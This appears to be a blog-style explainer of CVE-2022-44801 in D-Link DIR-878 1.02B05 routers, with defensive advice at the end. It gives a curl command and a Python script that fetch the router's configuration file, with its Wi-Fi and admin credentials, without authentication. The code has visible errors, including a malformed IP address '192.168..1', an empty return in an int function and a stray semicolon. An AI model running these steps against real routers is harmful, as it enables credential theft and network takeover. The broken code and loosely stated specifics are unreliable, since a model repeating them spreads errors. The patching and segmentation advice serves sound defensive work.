CVE-2022-44801 - How Incorrect Access Control Exposes D-Link DIR-878 (1.02B05) Routers

---

Introduction

In today’s world, home and small business networks depend on their routers to keep data safe. But sometimes, even the devices we trust most can have dangerous flaws. CVE-2022-44801 is one of these issues, affecting the popular D-Link DIR-878 1.02B05 router.

This long read will walk you through what CVE-2022-44801 is, why it matters, how attackers exploit it, and how you can defend yourself. We include exclusive details, code samples, and all the links you need to dive deeper.

What Is CVE-2022-44801?

CVE-2022-44801 is a vulnerability categorized as an Incorrect Access Control issue. That means the router fails to properly check who has permission to access something.

In simple words: Attackers can get into parts of your router they should not be allowed to reach.

Device affected: D-Link DIR-878, firmware v1.02B05

- CVE Details entry
- NVD (NIST) entry

The Technical Details: What Went Wrong

On D-Link DIR-878 routers running version 1.02B05, the web interface has hidden pages and functions that should only be available to the admin. Due to buggy logic in the web server, some of these “protected” URLs are actually accessible to anyone who knows their address—even without logging in.

For example, there’s an admin page for downloading the router’s configuration file. Normally, that file is protected because it contains sensitive data like your Wi-Fi password, admin credentials, and sometimes even ISP login info.

Here's a simplified version of the web server code (in C) that checks if a user is logged in before serving a file:

int handle_config_download(request *req) {
    if (!session_is_authenticated(req->session)) {
        send_http_unauthorized(req);
        return ;
    }
    send_file(req, "/etc/config.bin");
    return 1;
}

But in DIR-878 v1.02B05, some URL handlers are missing this check. As a result, anyone can access certain endpoints directly.

Example: Exploiting the Vulnerability

If you know the right path—say, /config.bin—you can download the router’s backup file without any authentication.

Here’s how an attacker might do it with curl

curl -k http://192.168..1/config.bin -o config.bin

*This should NOT be possible without logging in, but on vulnerable routers, it works!*

From this file, an attacker can extract everything needed to control your network.

Attackers simply need to

1. Be connected to the same network. This is usually a local attack, unless router admin is exposed to the internet (bad practice, but not uncommon).
2. Send a request to the hidden endpoint, like /config.bin or /BRS_03_basicSettings.html (other debug/admin paths may also be exposed).
3. Open the downloaded file using a config decoder (the file can often be parsed using simple scripts or public tools).

Here’s a Python script that downloads and decodes the config file

import requests

# Router IP (change as needed)
router_ip = "192.168..1"
url = f"http://{router_ip}/config.bin";

# Download config file
r = requests.get(url)
if r.status_code == 200:
    with open("config.bin", "wb") as f:
        f.write(r.content)
    print("Config downloaded!")
else:
    print("Failed to download config. Maybe already patched?")

# Decoding is device-specific, but search for “D-Link config decoder” on GitHub.

1. Patch Your Router!

D-Link has announced firmware updates addressing this and related vulnerabilities. Upgrade to the latest firmware via your router’s web panel.

2. NEVER Expose Your Router Interface to the Internet

Disable remote management unless absolutely necessary.

3. Change Default Passwords

Always use strong, unique passwords for both admin and Wi-Fi access.

4. Segment Your Network

Keep “trusted” devices separate from guest or IoT devices wherever possible. If an IoT gadget is compromised, you don’t want it to reach your router’s config page.

References and Further Reading

- Official D-Link Product Page
- D-Link Security Advisories
- CVE-2022-44801 Details on NVD
- Exploit Database Write-Up (similar issue)
- Packet Storm Security Advisories

Conclusion

CVE-2022-44801 is a perfect example of why router vulnerabilities are dangerous—and why you should always keep your networking gear updated. With just a single flawed check, D-Link’s DIR-878 allowed attackers to bypass security and steal sensitive data.

If you own any D-Link routers (especially the DIR-878), make sure you check your firmware version and patch it as soon as possible.

Stay safe, stay updated, and always be careful what you connect to your network!

*All code, research, and references are for educational purposes only.*

Timeline

Published on: 11/22/2022 15:15:00 UTC
Last modified on: 08/08/2023 14:22:00 UTC